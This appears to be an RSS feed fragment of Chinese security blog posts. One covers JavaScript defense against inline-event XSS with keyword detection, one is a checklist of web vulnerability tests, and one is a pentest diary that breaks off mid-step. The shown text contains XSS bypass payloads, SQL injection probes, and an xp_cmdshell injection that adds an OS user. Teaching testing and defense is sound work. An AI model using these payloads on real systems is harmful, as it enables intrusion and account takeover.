即将触发时对其分析，对不符合策略的元素，进行拦截或者放行，同时发送报警到后台日志。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">主动防御</strong></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　『主动防御』，这概念放在前端脚本里似乎有些玄乎。但不难发现，这仅仅是执行优先级的事而已 &#8212;&#8212; 只要防御程序能运行在其他程序之前，我们就有了可进可退的主动权。对于无比强大的 HTML5 和灵活多变的 JavaScript，这些概念都可以被玩转出来。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　继续回到刚才讨论的内联事件 XSS 上来。浏览器虽然没提供可操控内联事件的接口，但内联事件的本质仍是一个事件，无论怎样变化都离不开 DOM 事件模型。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　扯到模型上面，一切即将迎刃而解。模型是解决问题的最靠谱的办法，尤其是像 DOM-3-Event 这种早已制定的模型，其稳定性毋庸置疑。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　即便没仔细阅读官方文档，但凡做过网页的都知道，有个 addEventListener 的接口，并取代了曾经一个古老的叫 attachEvent 的东西。尽管只是新增了一个参数而已，但正是这个差别成了人们津津乐道的话题。每当<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">面试</strong></u></a>谈到事件时，总少不了考察下这个新参数的用途。尽管在日常开发中很少用到它。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　关于事件捕获和冒泡的细节，就不多讨论了。下面的这段代码，或许能激发你对『主动防御』的遐想。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;button onclick="console.log('target')"&gt;CLICK ME&lt;/button&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;script&gt;</div><div style="word-break: break-all; margin: 10px 0px;">document.addEventListener('click', function(e) {</div><div style="word-break: break-all; margin: 10px 0px;">console.log('bubble');</div><div style="word-break: break-all; margin: 10px 0px;">});</div><div style="word-break: break-all; margin: 10px 0px;">document.addEventListener('click', function(e) {</div><div style="word-break: break-all; margin: 10px 0px;">console.log('capture');</div><div style="word-break: break-all; margin: 10px 0px;">//e.stopImmediatePropagation();</div><div style="word-break: break-all; margin: 10px 0px;">}, true);</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/script&gt;</div><div style="word-break: break-all; margin: 10px 0px;">Run</div></td></tr></tbody></table><br /><div style="word-break: break-all; margin: 10px 0px;">　尽管按钮上直接绑了一个内联的事件，但事件模型并不买账，仍然得按标准的流程走一遍。capture，target，bubble，模型就是那样固执。</div><div style="word-break: break-all; margin: 10px 0px;">　　不过，把那行注释的代码恢复，结果就只剩 capture 了。这个简单的道理大家都明白，也没什么好解释的。</div><div style="word-break: break-all; margin: 10px 0px;">　　但仔细揣摩下，这不就是『主动防御』的概念吗？捕获程序运行在内联事件触发之前，并且完全有能力拦截之后的调用。</div><div style="word-break: break-all; margin: 10px 0px;">　　上面的 Demo 只是不假思索拦截了所有的事件。如果我们再加一些策略判断，或许就更明朗了：</div><div style="word-break: break-all; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;button onclick="console.log('xss')"&gt;CLICK ME&lt;/button&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;script&gt;</div><div style="word-break: break-all; margin: 10px 0px;">document.addEventListener('click', function(e) {</div><div style="word-break: break-all; margin: 10px 0px;">console.log('bubble');</div><div style="word-break: break-all; margin: 10px 0px;">});</div><div style="word-break: break-all; margin: 10px 0px;">document.addEventListener('click', function(e) {</div><div style="word-break: break-all; margin: 10px 0px;">var element = e.target;</div><div style="word-break: break-all; margin: 10px 0px;">var code = element.getAttribute('onclick');</div><div style="word-break: break-all; margin: 10px 0px;">if (/xss/.test(code)) {</div><div style="word-break: break-all; margin: 10px 0px;">e.stopImmediatePropagation();</div><div style="word-break: break-all; margin: 10px 0px;">console.log('拦截可疑事件:', code);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}, true);</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/script&gt;</div><div style="word-break: break-all; margin: 10px 0px;">Run</div></td></tr></tbody></table></div><div style="word-break: break-all; margin: 10px 0px;">　　我们先在捕获阶段扫描内联事件字符，若是出现了『xss』这个关键字，后续的事件就被拦截了；换成其他字符，仍然继续执行。同理，我们还可以判断字符长度是否过多，以及更详细的黑白名单正则。</div><div style="word-break: break-all; margin: 10px 0px;">　　怎么样，一个主动防御的原型诞生了吧。</div><div style="word-break: break-all; margin: 10px 0px;">　　不过，上面的片段还有个小问题，就是把事件的冒泡过程也给屏蔽了，而我们仅仅想拦截内联事件而已。解决办法也很简单，把 e.stopImmediatePropagation() 换成 element.onclick = null 就可以了。</div><div style="word-break: break-all; margin: 10px 0px;">　　当然，目前这只能防护 onclick，而现实中有太多的内联事件。鼠标、键盘、触屏、网络状态等等，不同浏览器支持的事件也不一样，甚至还有私有事件，难道都要事先逐一列出并且都捕获吗？是的，可以都捕获，但不必事先都列出来。</div><div style="word-break: break-all; margin: 10px 0px;">　　因为我们监听的是 document 对象，浏览器所有内联事件都对应着 document.onxxx 的属性，因此只需运行时遍历一下 document 对象，即可获得所有的事件名。</div><div style="word-break: break-all; margin: 10px 0px;">&lt;img src="*" onerror="console.log('xss')" /&gt;</div><div style="word-break: break-all; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;script&gt;</div><div style="word-break: break-all; margin: 10px 0px;">function hookEvent(onevent) {</div><div style="word-break: break-all; margin: 10px 0px;">document.addEventListener(onevent.substr(2), function(e) {</div><div style="word-break: break-all; margin: 10px 0px;">var element = e.target;</div><div style="word-break: break-all; margin: 10px 0px;">if (element.nodeType != Node.ELEMENT_NODE) {</div><div style="word-break: break-all; margin: 10px 0px;">return;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">var code = element.getAttribute(onevent);</div><div style="word-break: break-all; margin: 10px 0px;">if (code &amp;&amp; /xss/.test(code)) {</div><div style="word-break: break-all; margin: 10px 0px;">element[onevent] = null;</div><div style="word-break: break-all; margin: 10px 0px;">console.log('拦截可疑事件:', code);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}, true);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">console.time('耗时');</div><div style="word-break: break-all; margin: 10px 0px;">for (var k in document) {</div><div style="word-break: break-all; margin: 10px 0px;">if (/^on/.test(k)) {</div><div style="word-break: break-all; margin: 10px 0px;">//console.log('监控:', k);</div><div style="word-break: break-all; margin: 10px 0px;">hookEvent(k);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">console.timeEnd('耗时');</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/script&gt;</div><div style="word-break: break-all; margin: 10px 0px;">Run</div></td></tr></tbody></table></div><div style="word-break: break-all; margin: 10px 0px;">　　现在，无论页面中哪个元素触发哪个内联事件，都能预先被我们捕获，并根据策略可进可退了。<br /><div style="word-break: break-all; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">性能优化</strong></div><div style="word-break: break-all; margin: 10px 0px;">　　或许有些事件没有必要捕获，例如视频播放、音量调节等，但就算全都捕捉也耗不了多少时间，基本都在 1ms 左右。</div><div style="word-break: break-all; margin: 10px 0px;">　　当然，注册事件本来就花不了多少时间，真正的耗费都算在回调上了。尽管大多数事件触发都不频繁，额外的扫描可以忽律不计。但和鼠标移动相关的事件那就不容忽视了，因此得考虑性能优化。</div><div style="word-break: break-all; margin: 10px 0px;">　　显然，内联事件代码在运行过程中几乎不可能发生变化。使用内联事件大多为了简单，如果还要在运行时 setAttribute 去改变内联代码，完全就是不可理喻的。因此，我们只需对某个元素的特定事件，扫描一次就可以了。之后根据标志，即可直接跳过。</div><div style="word-break: break-all; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;div style="width:100%; height:100%; position:absolute" onmouseover="console.log('xss')"&gt;&lt;/div&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;script&gt;</div><div style="word-break: break-all; margin: 10px 0px;">function hookEvent(onevent) {</div><div style="word-break: break-all; margin: 10px 0px;">document.addEventListener(onevent.substr(2), function(e) {</div><div style="word-break: break-all; margin: 10px 0px;">var element = e.target;</div><div style="word-break: break-all; margin: 10px 0px;">// 跳过已扫描的事件</div><div style="word-break: break-all; margin: 10px 0px;">var flags = element['_flag'];</div><div style="word-break: break-all; margin: 10px 0px;">if (!flags) {</div><div style="word-break: break-all; margin: 10px 0px;">flags = element['_flag'] = {};</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">if (typeof flags[onevent] != 'undefined') {</div><div style="word-break: break-all; margin: 10px 0px;">return;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">flags[onevent] = true;</div><div style="word-break: break-all; margin: 10px 0px;">if (element.nodeType != Node.ELEMENT_NODE) {</div><div style="word-break: break-all; margin: 10px 0px;">return;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">var code = element.getAttribute(onevent);</div><div style="word-break: break-all; margin: 10px 0px;">if (code &amp;&amp; /xss/.test(code)) {</div><div style="word-break: break-all; margin: 10px 0px;">element[onevent] = null;</div><div style="word-break: break-all; margin: 10px 0px;">console.log('拦截可疑代码:', code);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}, true);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">for (var k in document) {</div><div style="word-break: break-all; margin: 10px 0px;">if (/^on/.test(k)) {</div><div style="word-break: break-all; margin: 10px 0px;">hookEvent(k);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/script&gt;</div><div style="word-break: break-all; margin: 10px 0px;">Run</div></td></tr></tbody></table></div><div style="word-break: break-all; margin: 10px 0px;">　　这样，之后的扫描仅仅是判断一下目标对象中的标记而已。即使疯狂晃动鼠标，CPU 使用率也都忽略不计了。</div><div style="word-break: break-all; margin: 10px 0px;">　　到此，在 XSS 内联事件这块，我们已实现主动防御。</div><div style="word-break: break-all; margin: 10px 0px;">　　对于有着大量字符，或者出现类似 String.fromCharCode，$.getScript 这类典型 XSS 代码的，完全可以将其拦截；发现有 alert(/xss/)，alert(123) 这些测试代码，可以暂时放行，并将日志发送到后台，确定是否能够复现。</div><div style="word-break: break-all; margin: 10px 0px;">　　如果复现，说明已有人发现 XSS 并成功注入了，但还没大规模开始利用。程序猿们赶紧第一时间修 BUG 吧，让黑客忙活一阵子后发现漏洞已经修复了：）</div><div style="word-break: break-all; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">字符策略的缺陷</strong></div><div style="word-break: break-all; margin: 10px 0px;">　　但是，光靠代码字符串来判断，还是会有疏漏的。尤其是黑客们知道有这么个玩意存在，会更加小心了。把代码转义用以躲避关键字，并将字符存储在其他地方，以躲过长度检测，即可完全绕过我们的监控了：</div><div style="word-break: break-all; margin: 10px 0px;">　　&lt;img src="*" onerror="window['ev'+'al'](this.align)" align="alert('a mass of code...')"&gt;</div><div style="word-break: break-all; margin: 10px 0px;">　　因此，我们不仅需要分析关键字。在回调执行时，还需监控 eval、setTimeout('...') 等这类能解析代码的函数被调用。</div><div style="word-break: break-all; margin: 10px 0px;">　　不过，通常不会注入太多的代码，而是直接引入一个外部脚本，既简单又靠谱，并且能实时修改攻击内容：</div><div style="word-break: break-all; margin: 10px 0px;">　　&lt;img src="*" onerror="$['get'+'Script'](...)"&gt;</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/415629.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-07-09 16:01 <a href="http://www.blogjava.net/qileilove/archive/2014/07/09/415629.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>浅淡常见的WEB安全漏洞测试及验证</title><link>http://www.blogjava.net/qileilove/archive/2014/07/09/415625.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 09 Jul 2014 07:53:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/07/09/415625.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/415625.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/07/09/415625.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/415625.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/415625.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">【文件上传漏洞】</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1.对用户上传的文件没有进行充分合理的验证，导致被上传木马等恶意文件并执行</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　验证方式可能有：客户端JS检测、服务器MIME类型检测、服务器目录路径检测、服务器文件扩展名检测、服务器文件内容检测。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=46813" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/07/14982672_201407071059381QKwD.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　常见的方式：服务器充分验证文件类型及文件内容、服务器端重命名</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　其他限制：服务器端上传目录设置不可执行权限</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　【CSS漏洞】</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　例如input输入框这种类型的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>：</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　http:/host/xss/example1.php?name = song &lt;script&gt;alert("hello")&lt;/script&gt;</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　测试的时候也可以直接简单点，输入简单的这些实体字符（例如：&lt;&gt;（）"），然后查看前台的源代码是否做转义，如果没有那么自己可以输入任何的脚本都是有可能执行的。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Ps: CSS 绕过的方法，其实是很多的，一般我们可以根据后台的返回来通过不同的方法绕过进行测试</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　【<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>注入攻击】</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　SQL注入:</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=46814" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/07/14982672_201407071059382uvOT.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　还有所谓的命令注入：</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=46815" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><font color="#202859"><span style="line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/07/14982672_201407071059383tegZ.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></span></font><br /><br /></a><a href="http://www.51testing.com/batch.download.php?aid=46815" target="_blank"><div style="word-break: break-all; margin: 10px 0px; color: #333333;"><strong style="word-break: break-all; line-height: normal !important;">二、关于WEB安全的几点思考：</strong></div><div style="word-break: break-all; margin: 10px 0px; color: #333333;">　　安全意识</div><div style="word-break: break-all; margin: 10px 0px; color: #333333;">　　永远不用相信来自用户的输入</div><div style="word-break: break-all; margin: 10px 0px; color: #333333;">　　管理所有来自客户端的数据</div><div style="word-break: break-all; margin: 10px 0px; color: #333333;">　　开发安全的代码</div><div style="word-break: break-all; margin: 10px 0px; color: #333333;">　　遵循最佳安全实践来指导构建WEB系统</div><div style="word-break: break-all; margin: 10px 0px; color: #333333;">　　<strong style="word-break: break-all; line-height: normal !important;">三、常用WEB安全检测工具介绍</strong></div></a><div style="word-break: break-all; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=46815" target="_blank"></a><a href="http://www.51testing.com/batch.download.php?aid=46816" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/07/14982672_2014070710593848JGF.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></div><div style="word-break: break-all; margin: 10px 0px; color: #333333;">　　黑盒类测试工具：</div><div style="word-break: break-all; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=46817" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/07/14982672_201407071059385g1zJ.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></div><div style="word-break: break-all; margin: 10px 0px; color: #333333;">　　<strong style="word-break: break-all; line-height: normal !important;">三、安全测试包含内容</strong></div><div style="word-break: break-all; margin: 10px 0px; color: #333333;">　　一般来说，80%的安全测试都包含在这里面了：</div><div style="word-break: break-all; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=46818" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/07/14982672_201407071059386pw1x.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></div><div style="word-break: break-all; margin: 10px 0px; color: #333333;">　　简单来看一下这类测试生成的测试报告，例如 acunetix web vulnerability scanner 工具扫描测试结果如下，我们可以针对不同等级的测试漏洞来选择性的进行关注或者手工验证尝试。</div><div style="word-break: break-all; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=46819" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/07/14982672_201407071059387Q1JG.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/415625.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-07-09 15:53 <a href="http://www.blogjava.net/qileilove/archive/2014/07/09/415625.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>记一次内网渗透测试经历</title><link>http://www.blogjava.net/qileilove/archive/2014/05/27/414146.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Tue, 27 May 2014 02:06:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/05/27/414146.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/414146.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/05/27/414146.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/414146.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/414146.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;"><strong style="font-size: 11.818181991577148px; word-break: break-all;"><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px; display: inline !important;">　话说刚开始接触<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">安全测试</strong></u></a>时，没有一个系统的概念，前辈仍一个内网测试网站，让我把的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">shell</strong></u></a>拿下来，那我就开始吭哧吭哧的干起来。</div></strong><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　首先，做<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">渗透测试</strong></u></a>要有个思路，不能埋头苦干。所以就开始理了下思路，具体如下：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　判断有无sql注入点，根据sql注入点来判断<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>类型，若是mssqlserver则查看存储过程xp_cmdshell 查看其是否被禁用，若没有被禁用，则直接在注入点后面直接使用xp_cmdshell 存储过程向系统中添加权限。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　判断是否有上传漏洞，主要是上传asp等一句话脚本，先得到webshell，然后利用webshell再获取系统shell。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　主要是利用sa，和第一种思路大致一样</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　主要就这几种思路，下面就开始实施。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　<strong style="word-break: break-all; line-height: normal !important;">首先，针对思路一：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　既然是判断有无sql注入，最方便的方法当然是使用工具进行扫描，这里我使用的是webcruiser，一个非常小巧的工具，当然我这里肯定能够扫描出sql注入漏洞，接下来当然可以继续用这个工具得到数据库等信息，而我在这里就直接在该sql注入点是否能够执行xp_cmdshell。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　<strong style="word-break: break-all; line-height: normal !important;">具体方法是这样的：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　确定数据库类型：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　?Id=1234;and (select count(*) from sysobjects)&gt;0</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　得到当前连接名和数据库名，查看是否为sa连接。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　?id=1234;and user&gt;0 (若显示dbo 则代表sa)。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　?id=1234;and db_name()&gt;0，执行异常时，可以得到当前连接的数据库名。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　查看xp_cmdshell是否被禁用。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　?id=1234;and (select count(*) from master.dbo.sysobjects where &nbsp;xtype=&#8221;X&#8221; and name =&#8217;xp_cmdshell&#8217;)</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　若存储过程被删掉，则尝试恢复。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　?id=1234;and exec sp_addextendepro &nbsp;xp_cmdshell,&#8217;xplog70.dll&#8217;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　若出现下面的错误，可以尝试如下方法：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　l 无法装载 DLL xpsql70.dll 或该DLL 所引用的某一DLL。原因126 (找不到指定模块)。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　首先执行，exec sp_dropextendeproc &#8220;xp_cmdshell&#8221; ,然后执行sp_addextendeproc &#8220;xp_cmdshell&#8221;,&#8221;xpsql70.dll&#8221;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　l 无法再库xpweb70.dll 中找到函数xp_cmdshell 原因127</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　首先执行 exec sp_dropextendeproc &#8220;xp_cmdshell&#8221; ，然后执行 exec sp_addextendeproc &#8220;xp_cmdshell&#8221;,&#8221;xpweb70.dll&#8221;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　则利用存储过程，执行添加用户的操作。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　?id=1234 ;exec master..xp_cmdshell &#8220;net user aaa bbb /add &#8221;-- 